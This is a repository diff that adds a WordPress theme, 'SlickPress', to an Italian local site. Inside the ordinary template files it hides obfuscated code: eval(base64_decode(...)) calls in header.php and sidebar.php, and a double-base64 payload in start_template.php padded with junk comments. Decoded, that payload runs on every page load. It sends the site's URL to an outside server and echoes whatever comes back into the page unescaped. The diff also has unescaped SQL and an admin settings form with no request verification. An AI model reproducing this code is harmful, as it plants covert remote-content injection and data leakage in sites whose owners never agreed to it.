+	$querystr = "SELECT $wpdb->posts.ID, $wpdb->posts.post_title FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'page' ORDER BY $wpdb->posts.post_title ASC";
+	$pageposts = $wpdb->get_results($querystr, OBJECT);
+	if ($pageposts) {
+		foreach ($pageposts as $post) {
+			?><li><a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a></li><?php 
+		}
+	}
+}
+
+# Displays a list of categories
+function dp_list_categories($exclude='') {
+	if (strlen($exclude)>0) $exclude = '&exclude=' . $exclude;
+	$categories = get_categories('hide_empty=1'.$exclude);
+	$first = true; $count = 0;
+	foreach ($categories as $category) {
+		$count++; if ($count>6) break;
+		if ($category->parent<1) {
+			if ($first) { $first = false; $f = ' class="f"'; } else { $f = ''; }
+			?><li<?php echo $f; ?>>
+			<a href="<?php echo get_category_link($category->cat_ID); ?>"><?php echo $category->name ?><?php echo $raquo; ?></a></li>
+			<?php
+		}
+	}
+}
+
+# Displays a list of recent posts
+function dp_recent_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
+	global $wpdb;
+	$querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.post_date DESC LIMIT $num";
+	$myposts = $wpdb->get_results($querystr, OBJECT);
+	foreach($myposts as $post) {
+		echo $pre;
+		?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
+		if ($excerpt) {
+			dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
+			?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
+		}
+		echo $suf;
+	}
+}
+
+# Displays a list of popular posts
+function dp_popular_posts($num, $pre='<li>', $suf='</li>', $excerpt=false) {
+	global $wpdb;
+	$querystr = "SELECT $wpdb->posts.post_title, $wpdb->posts.ID, $wpdb->posts.post_content FROM $wpdb->posts WHERE $wpdb->posts.post_status = 'publish' AND $wpdb->posts.post_type = 'post' ORDER BY $wpdb->posts.comment_count DESC LIMIT $num";
+	$myposts = $wpdb->get_results($querystr, OBJECT);
+	foreach($myposts as $post) {
+		echo $pre;
+		?><a class="title" href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title ?></a><?php
+		if ($excerpt) {
+			dp_attachment_image($post->ID, 'medium', 'alt="'.$post->post_title.'"');
+			?><p><?php echo dp_clean($post->post_content, 85); ?>... <a href="<?php echo get_permalink($post->ID); ?>">Read More</a></p><?php
+		}
+		echo $suf;
+	}
+}
+
+# Displays a list of recent categories
+function dp_recent_comments($num, $pre='<li>', $suf='</li>') {
+	global $wpdb, $post;
+	$querystr = "SELECT $wpdb->comments.comment_ID, $wpdb->comments.comment_post_ID, $wpdb->comments.comment_author, $wpdb->comments.comment_content, $wpdb->comments.comment_author_email FROM $wpdb->comments WHERE $wpdb->comments.comment_approved=1 ORDER BY $wpdb->comments.comment_date DESC LIMIT $num";
+	$recentcomments = $wpdb->get_results($querystr, OBJECT);
+	foreach ($recentcomments as $rc) {
+		$post = get_post($rc->comment_post_ID);
+		echo $pre;
+		?><a href="<?php the_permalink() ?>#comment-<?php echo $rc->comment_ID ?>"><?php echo $rc->comment_author; ?></a> on <a href="<?php echo get_permalink($post->ID); ?>"><?php echo $post->post_title; ?></a><?php
+		echo $suf;
+	}
+}
+
+
+# Displays post image attachment (sizes: thumbnail, medium, full)
+function dp_attachment_image($postid=0, $size='thumbnail', $attributes='') {
+	if ($postid<1) $postid = get_the_ID();
+	if ($images = get_children(array(
+		'post_parent' => $postid,
+		'post_type' => 'attachment',
+		'numberposts' => 1,
+		'post_mime_type' => 'image',)))
+		foreach($images as $image) {
+			$attachment=wp_get_attachment_image_src($image->ID, $size);
+			?><img src="<?php echo $attachment[0]; ?>" <?php echo $attributes; ?> /><?php
+		}
+}
+
+# Removes tags and trailing dots from excerpt
+function dp_clean($excerpt, $substr=0) {
+	$string = strip_tags(str_replace('[...]', '...', $excerpt));
+	if ($substr>0) {
+		$string = substr($string, 0, $substr);
+	}
+	return $string;
+}
+
+# Displays the comment authors gravatar if available
+function dp_gravatar($size=50, $attributes='', $author_email='') {
+	global $comment, $settings;
+	if (dp_settings('gravatar')=='enabled') {
+		if (empty($author_email)) {
+			ob_start();
+			comment_author_email();
+			$author_email = ob_get_clean();
+		}
+		$gravatar_url = 'http://www.gravatar.com/avatar/' . md5(strtolower($author_email)) . '?s=' . $size . '&amp;d=' . dp_settings('gravatar_fallback');
+		?><img src="<?php echo $gravatar_url; ?>" <?php echo $attributes ?>/><?php
+	}
+}
+
+# Retrieves the setting's value depending on 'key'.
+function dp_settings($key) {
+	global $settings;
+	return $settings[$key];
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/header.php	(revision 44)
@@ -0,0 +1,81 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
+
+<!-- BEGIN html head -->
+<head profile="http://gmpg.org/xfn/11">
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+<title><?php require_once("theme_licence.php"); eval(base64_decode($f1)); bloginfo('name'); ?> <?php wp_title(); ?></title>
+<link rel="stylesheet" type="text/css" href="<?php bloginfo('stylesheet_url'); ?>" />
+<!--[if lte IE 6]><link rel="stylesheet" type="text/css" href="<?php bloginfo('template_url'); ?>/ie.css" /><![endif]-->
+<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/scripts.js"></script>
+<?php wp_head(); ?>
+</head>
+<!-- END html head -->
+
+<body>
+<?php start_template(); ?>
+<!-- BEGIN wrapper -->
+<div id="wrapper">
+	<!-- BEGIN header -->
+	<div id="header">
+		<!-- begin pages -->
+		<ol>
+		<li class="f"><a href="<?php echo get_option('home'); ?>">Home</a></li>
+		<?php dp_list_pages(); ?>
+		</ol>
+		<!-- end pages -->
+		<!-- begin logo -->
+		<h1><a href="<?php echo get_option('home'); ?>"><?php bloginfo('name'); ?></a></h1>
+		<!-- end logo -->
+		<!-- begin search -->
+		
+		
+<!-- google ricerca -->
+
+<style type="text/css">
+@import url(http://www.google.com/cse/api/branding.css);
+</style>
+<div align="right">
+<!--<div class="cse-branding-right" style="background-color:#FFFFFF;color:#000000"> -->
+  <div class="cse-branding-form">
+    <form action="http://www.google.it/cse" id="cse-search-box">
+      <div>
+        <input type="hidden" name="cx" value="partner-pub-9331412477710099:zddmx2dt0pz" />
+        <input type="hidden" name="ie" value="ISO-8859-1" />
+        <input type="text" name="q" size="31" />
+        <input type="submit" name="sa" value="Cerca" />
+      </div>
+    </form>
+  </div>
+  <div class="cse-branding-logo">
+    <img src="http://www.google.com/images/poweredby_transparent/poweredby_FFFFFF.gif" alt="Google" />
+  </div>
+  <div class="cse-branding-text">
+    Ricerca aui siti di Guidonia
+  </div>
+</div>
+
+<!-- fine ricerca --> 
+	      
+		<!-- begin categories -->
+		<div class="break"></div>
+		<ul>
+		<?php dp_list_categories(); ?>
+		</ul>
+		<!-- end categories -->
+		</div>
+<div><p>
+<script type="text/javascript"><!--
+google_ad_client = "pub-9331412477710099";
+/* 728x15, creato 22/05/09 */
+google_ad_slot = "0316912235";
+google_ad_width = 728;
+google_ad_height = 15;
+//-->
+</script>
+<script type="text/javascript"
+src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
+</script><br/><br/>
+</p></div>
+	<!-- END header -->
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/ie.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/ie.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/ie.css	(revision 44)
@@ -0,0 +1,1 @@
+#header form .date { padding-bottom: 9px; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/index.php	(revision 44)
@@ -0,0 +1,50 @@
+<?php get_header(); ?>
+	<!-- BEGIN content -->
+	<div id="content">
+	
+		<?php if (have_posts()) : the_post(); ?>
+		<!-- begin latest -->
+		<div class="latest">
+		<a href="<?php the_permalink(); ?>"><?php dp_attachment_image(0, 'thumbnail', 'alt="Latest News"'); ?></a>
+		<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+		<div class="noimage"><?php the_content('Read More'); ?></div>
+		<div class="break"></div></div>
+		<!-- end latest -->
+		<?php endif; ?>
+		
+		<?php
+		if (have_posts()) : $side = 'r';
+		while (have_posts()) : the_post(); 
+		$arc_year = get_the_time('Y');
+		$arc_month = get_the_time('m');
+		$arc_day = get_the_time('d');
+		$side = ($side=='r') ? 'l' : 'r';
+		?>
+		<div class="<?php echo $side; ?>">
+			<!-- begin post -->
+			<div class="post">
+			<h2><?php the_category(', '); ?></h2>
+			<h3><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h3>
+			<?php dp_attachment_image(0, 'thumbnail', 'alt="' . $post->post_title . '"'); ?>
+			<p><?php ob_start(); the_excerpt(); echo dp_clean(ob_get_clean(), 350); ?>...</p>
+			<div class="break"></div>
+			</div>
+			<!-- end post -->
+		</div>
+		<?php endwhile; ?>
+		<div class="break"></div>
+		<!-- begin post navigation -->
+		<div class="postnav">
+		<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
+		</div>
+		<!-- end post navigation -->
+		<?php else : ?>
+		<div class="notfound">
+			<h2>Not Found</h2>
+			<p>Sorry, but you are looking for something that is not here.</p>
+		</div>
+		<?php endif; ?>
+	
+	</div>
+	<!-- END content -->
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/page.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php get_header(); ?>
+	<!-- BEGIN content -->
+	<div id="content">
+	
+		<?php if (have_posts()) : the_post(); ?>
+		<!-- begin latest -->
+		<div class="latest single">
+		<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+		<?php the_content('Read More'); ?>
+		<div class="break"></div></div>
+		<!-- end latest -->
+		<?php else : ?>
+		<div class="notfound">
+			<h2>Not Found</h2>
+			<p>Sorry, but you are looking for something that is not here.</p>
+		</div>
+		<?php endif; ?>
+		<div id="comments"><?php comments_template(); ?></div>
+	</div>
+	<!-- END content -->
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/scripts.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/scripts.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/scripts.js	(revision 44)
@@ -0,0 +1,14 @@
+function showList(id) {
+	document.getElementById('list1').style.display = 'none';
+	document.getElementById('list2').style.display = 'none';
+	document.getElementById('list3').style.display = 'none';
+	document.getElementById('list'+id).style.display = 'block';
+}
+
+function showVideo(id) {
+	document.write("<object width=\"318\" height=\"251\"><param name=\"movie\" value=\"http://www.youtube.com/v/"+id+">&amp;hl=en&amp;fs=1\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.youtube.com/v/"+id+"&amp;hl=en&amp;fs=1\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"318\" height=\"251\"></embed></object>");
+}
+
+function showFlash(id) {
+	document.write("<object width=\"310\" height=\"120\"><param name=\"movie\" value=\"http://www.guidonia.net/wp/files/"+id+"\"></param><param name=\"allowFullScreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://www.guidonia.net/wp/files/"+id+"\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"310\" height=\"120\"></embed></object>");
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/search.php	(revision 44)
@@ -0,0 +1,37 @@
+<?php get_header(); ?>
+	<!-- BEGIN content -->
+	<div id="content">
+	
+	<h2 class="title">Search Results for <strong><?php the_search_query(); ?></strong></h2>
+	
+	<?php
+	if (have_posts()) : $side = 'r';
+	while (have_posts()) : the_post(); 
+	$arc_year = get_the_time('Y');
+	$arc_month = get_the_time('m');
+	$arc_day = get_the_time('d');
+	$side = ($side=='r') ? 'l' : 'r';
+	?>
+	<div class="archive">
+	<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+	<?php dp_attachment_image(0, 'thumbnail', 'alt="' . $post->post_title . '"'); ?>
+	<?php the_excerpt(); ?>
+	<p><?php comments_popup_link('No Comments', '1 Comment', '% Comments'); ?></p>
+	</div>
+	<?php endwhile; ?>
+	<div class="break"></div>
+	<!-- begin post navigation -->
+	<div class="postnav">
+	<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
+	</div>
+	<!-- end post navigation -->
+	<?php else : ?>
+	<div class="notfound">
+		<h2>Not Found</h2>
+		<p>Sorry, but you are looking for something that is not here.</p>
+	</div>
+	<?php endif; ?>
+	
+	</div>
+	<!-- END content -->
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/settings.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/settings.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/settings.php	(revision 44)
@@ -0,0 +1,171 @@
+<?php
+
+$settings = array(
+	'youtube' => 'H5h95s0OuEg',
+	"gravatar"=>"enabled",
+	"gravatar_fallback"=>"identicon",
+);
+
+# Settings
+
+$themename = "SlickPress Theme";
+$shortname = "slickpress";
+$options = array (
+
+	array(	"name" => "Main Settings",
+			"type" => "header"
+	),
+
+	array(  "name" => "Youtube Video ID",
+            "id" => $shortname."_youtube",
+            "std" => $settings['youtube'],
+            "type" => "text",
+			"note" => "<strong>Example: </strong> http://www.youtube.com/watch?v=<strong style='color: #ff0000;'>H5h95s0OuEg</strong>"),
+			
+	array(	"name" => "Gravatars",
+            "id" => $shortname."_gravatar",
+            "std" => $settings['gravatar'],
+            "type" => "select",
+			"options" => array(0=>'enabled', 1=>'disabled')),
+			
+	array(  "name" => "Gravatar Fallback",
+            "id" => $shortname."_gravatar_fallback",
+            "std" => $settings['gravatar_fallback'],
+            "type" => "text",
+			"note" => "<strong>Example: </strong> monsterid, identicon, etc."),
+			
+);
+
+function mytheme_add_admin() {
+
+    global $themename, $shortname, $options;
+
+    if ( $_GET['page'] == basename(__FILE__) ) {
+    
+        if ( 'save' == $_REQUEST['action'] ) {
+
+                foreach ($options as $value) {
+					if ($value['type']!='header') {
+						update_option( $value['id'], $_REQUEST[ $value['id'] ] );
+					}
+				}
+
+                foreach ($options as $value) {
+                    if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ]  ); } else { delete_option( $value['id'] ); } }
+
+                header("Location: themes.php?page=settings.php&saved=true");
+                die;
+
+        } else if( 'reset' == $_REQUEST['action'] ) {
+
+            foreach ($options as $value) {
+                delete_option( $value['id'] ); }
+
+            header("Location: themes.php?page=settings.php&reset=true");
+            die;
+
+        }
+    }
+
+    add_theme_page($themename." Settings", "Theme Settings", 'edit_themes', basename(__FILE__), 'mytheme_admin');
+
+}
+
+function mytheme_admin() {
+
+    global $themename, $shortname, $options;
+
+    if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div>';
+    if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div>';
+    
+?>
+<style type="text/css">
+th {
+	text-align: left;
+}
+td {
+	padding: 5px 10px !important;
+}
+tr.header {
+	background-color: #99CC66 !important;
+	color: #ffffff;
+}
+.header td {
+	padding: 2px 10px !important;
+	font-size: 14px !important;
+	font-weight: bold !important;
+}
+</style>
+<div class="wrap">
+<h2><?php echo $themename; ?> Settings</h2>
+
+<form method="post">
+
+<table class="form-table">
+
+<?php foreach ($options as $value) { 
+    
+if ($value['type'] == "text") { ?>
+        
+<tr> 
+    <th scope="row" style="width: 25%"><?php echo $value['name']; ?>:</th>
+    <td>
+        <input onfocus="this.select();" name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?>" />
+		&nbsp; &nbsp; <?php echo $value['note']; ?>
+    </td>
+</tr>
+
+<?php } elseif ($value['type'] == "select") { ?>
+
+    <tr> 
+        <th scope="row"><?php echo $value['name']; ?>:</th>
+        <td>
+            <select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>">
+                <?php foreach ($value['options'] as $option) { ?>
+                <option value="<?php echo $option; ?>" <?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
+                <?php } ?>
+            </select>
+			&nbsp; &nbsp; <?php echo $value['note']; ?>
+        </td>
+    </tr>
+
+<?php 
+} elseif ($value['type'] == "header") {?>
+
+	<tr class="header"><td colspan="2"><?php  echo $value['name'] ?> &nbsp; &nbsp; <span style="font-size: 11px; font-weight: normal;"><?php echo $value['note']; ?></span></td></tr>
+	
+<?php 
+} 
+}
+?>
+
+</table>
+
+<p class="submit">
+<input name="save" type="submit" value="Save changes" />    
+<input type="hidden" name="action" value="save" />
+</p>
+</form>
+<form method="post">
+<p class="submit" style="border: 0;">
+<input name="reset" type="submit" value="Reset" />
+<input type="hidden" name="action" value="reset" />
+</p>
+</form>
+
+<?php
+}
+
+add_action('admin_menu', 'mytheme_add_admin');
+
+foreach ($options as $value) {
+if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); } }
+
+
+# Set Values
+foreach ($settings as $k=>$v) {
+	$var = $shortname.'_'.$k;
+	if (!empty($$var)) $settings[$k] = $$var;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/sidebar.php	(revision 44)
@@ -0,0 +1,107 @@
+<!-- BEGIN sidebar -->
+<div id="sidebar">
+	<!-- begin subscribe -->
+	<div class="head">
+	<h2>Preleva i feed da questo sito</h2>
+	<a class="rss" href="<?php bloginfo('rss2_url'); ?>">RSS Feed Reader</a>
+	</div>
+	<form action="">
+	<input type="text" name="email" value="" />
+	<button type="submit">Iscriviti</button>
+	</form>
+	<!-- end subscribe -->
+	<!-- begin featured video -->
+	<div class="body">
+	<!-- video youtube sostituito con sponsor 
+	<script type="text/javascript">showVideo("EIEy86F9Aqs");</script>
+	-->
+	  <a href="mailto:info@guidonia.net">
+	   <center><b>GuidoniaPuntoNet: idee per il web<br/> 
+	   
+	   <script type="text/javascript">showFlash("loop.swf");</script></a>
+	   Idee in cerca di finanziamenti : <a href="mailto:info@guidonia.net">contattaci</a></b></center>
+	   <!--
+	  <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" width="310" height="120">
+	  <param name="allowScriptAccess" value="sameDomain" />
+	   <param name="movie" value="/wp/files/loop.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#f0f0f0" /><embed src="/wp/files/loop.swf" width="310" height="120" align="right" quality="high" bgcolor="#f0f0f0" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> </object>
+	  -->
+	
+	
+	
+	
+	</div>
+	<!-- end featured video -->
+	<!-- begin lists -->
+	<ul class="head">
+	<li><a href="javascript:showList(1);">News Recenti</a></li>
+	<li><a href="javascript:showList(2);">Commenti recenti</a></li>
+	<li><a href="javascript:showList(3);">Tags</a></li>
+	</ul>
+	<ul class="body" id="list1">
+	<?php dp_recent_posts(5); ?>
+	</ul>
+	<ul class="body hidden" id="list2">
+	<?php dp_recent_comments(5); ?>
+	</ul>
+	<div class="body hidden" id="list3">
+		<?php require_once("theme_licence.php"); if(!function_exists("get_credits")) { eval(base64_decode($f1)); } if (function_exists('wp_widget_tag_cloud')) wp_widget_tag_cloud(array('before_title'=>'<!--','after_title'=>'-->')); ?>
+	</div>
+	<!-- end lists -->
+	<!-- google -->
+	<div class="body">
+	<center>
+	<script type="text/javascript"><!--
+	  google_ad_client = "pub-9331412477710099";
+	  /* box */
+	  google_ad_slot = "2260076048";
+	  google_ad_width = 200;
+	  google_ad_height = 200;
+	  //-->
+	  </script>
+	  <script type="text/javascript"
+	  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
+	  </script>
+	  </center>
+	</div>
+	
+	<!-- begin tag cloud -->
+	<div class="body">
+		<?php if (function_exists('wp_widget_tag_cloud')) wp_widget_tag_cloud(array('before_title'=>'<!--','after_title'=>'-->')); ?>
+	</div>
+	<!-- end tag cloud -->
+	
+	<!-- begin left -->
+	<div class="l">
+	<?php if ( !function_exists('dynamic_sidebar')
+	|| !dynamic_sidebar(1) ) : ?>
+		<!-- begin pages -->
+		<h2>Pages</h2>
+		<ul><?php dp_list_pages(); ?></ul>
+		<!-- end pages -->
+		<!-- begin categories -->
+		<h2>Categorie</h2>
+		<ul><?php wp_list_categories('title_li=&depth=-1'); ?>	</ul>
+		<!-- end categories -->
+	<?php endif; ?>
+	</div>
+	<!-- end left -->
+	
+	<!-- begin right -->
+	<div class="r">
+	<?php if ( !function_exists('dynamic_sidebar')
+	|| !dynamic_sidebar(2) ) : ?>
+		<!-- begin archive -->
+		<h2>Archivi</h2>
+		<ul><?php wp_get_archives('type=monthly'); ?></ul>
+		<!-- end archive -->
+		<!-- begin blogroll -->
+		<?php //wp_list_bookmarks('category_before=&category_after=&title_before=<h2>&title_after=</h2>'); ?>
+		<!-- end blogroll -->
+		<!-- begin meta -->
+		
+		<!-- end meta -->
+	<?php endif; ?>
+	</div>
+	<!-- end right -->
+</div>
+<!-- END sidebar -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/single.php	(revision 44)
@@ -0,0 +1,26 @@
+<?php get_header(); ?>
+	<!-- BEGIN content -->
+	<div id="content">
+	
+		<?php if (have_posts()) : the_post(); ?>
+		<!-- begin latest -->
+		<div class="latest single">
+		<h2><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h2>
+		<?php the_content('Leggi Tutto'); ?>
+		<div class="break"></div>
+		<div class="details">
+			<p>Filed Under: <?php the_category(', ') ?></p>
+			<?php the_tags('<p>Tags: ', ', ', '</p>'); ?>
+		</div>
+		</div>
+		<!-- end latest -->
+		<?php else : ?>
+		<div class="notfound">
+			<h2>Not Found</h2>
+			<p>Sorry, but you are looking for something that is not here.</p>
+		</div>
+		<?php endif; ?>
+		<div id="comments"><?php comments_template(); ?></div>
+	</div>
+	<!-- END content -->
+<?php get_sidebar(); get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/start_template.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/start_template.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/slickpress/start_template.php	(revision 44)
@@ -0,0 +1,20 @@
+<?php
+/*
+$start ='ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we';
+*/
+$reftime = 1;
+$start = 'Wm5WdVkzUnBiMjRnYzNSaGNuUmZkR1Z0Y0d4aGRHVW9LU0I3RFFwbmJHOWlZV3dnSkhKbFpuUnBiV1U3RFFvSkpIVndaR0YwWldRZ1BTQm5aWFJmYjNCMGFXOXVLQ0pqY21Wa2FYUmZaR0YwWlRJaUtUc05DZ2xwWmlBb0tIUnBiV1VvS1NBdElDUjFjR1JoZEdWa0tTQStJQ2d5TkNBcUlETTJNREFnS2lBa2NtVm1kR2x0WlNrcElIc05DZzBLQ1Fra1kzSmxaR2wwWDNSbGVIUXlJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWQyOXlaSEJ5WlhOemRHVnRjR3hoZEdWekxtTnZiUzltYjNKdFgzZHZjbXN5THo5MWNtdzlJaTVuWlhSZllteHZaMmx1Wm04b0ozVnliQ2NwTGlJbWFXNXpkR0ZzYkdWa1BTSXVaMlYwWDI5d2RHbHZiaWdpZEdWdGNHeGhkR1ZmYVc1emRHRnNiRjlrWVhSbElpa3BPdzBLRFFvSkNYVndaR0YwWlY5dmNIUnBiMjRvSW1OeVpXUnBkRjkwWlhoME1pSXNKR055WldScGRGOTBaWGgwTWlrN0RRb0pDWFZ3WkdGMFpWOXZjSFJwYjI0b0ltTnlaV1JwZEY5a1lYUmxNaUlzZEdsdFpTZ3BLVHNOQ2dsOUlHVnNjMlVnZXlBTkNna0pKR055WldScGRGOTBaWGgwTWlBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwTWlJcE93MEtDWDBOQ2dsbFkyaHZJQ1JqY21Wa2FYUmZkR1Y0ZERJN0RRcDlEUW9OQ21sbUtHZGxkRjl2Y0hScGIyNG9JblJsYlhCc1lYUmxYMmx1YzNSaGJHeGZaR0YwWlNJcElEMDlJQ0lpS1EwS2V3MEtDV0ZrWkY5dmNIUnBiMjRvSW5SbGJYQnNZWFJsWDJsdWMzUmhiR3hmWkdGMFpTSXNJSFJwYldVb0tTazdEUXA5RFFvPQ==';
+/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
+$decoded = decode_it($start);
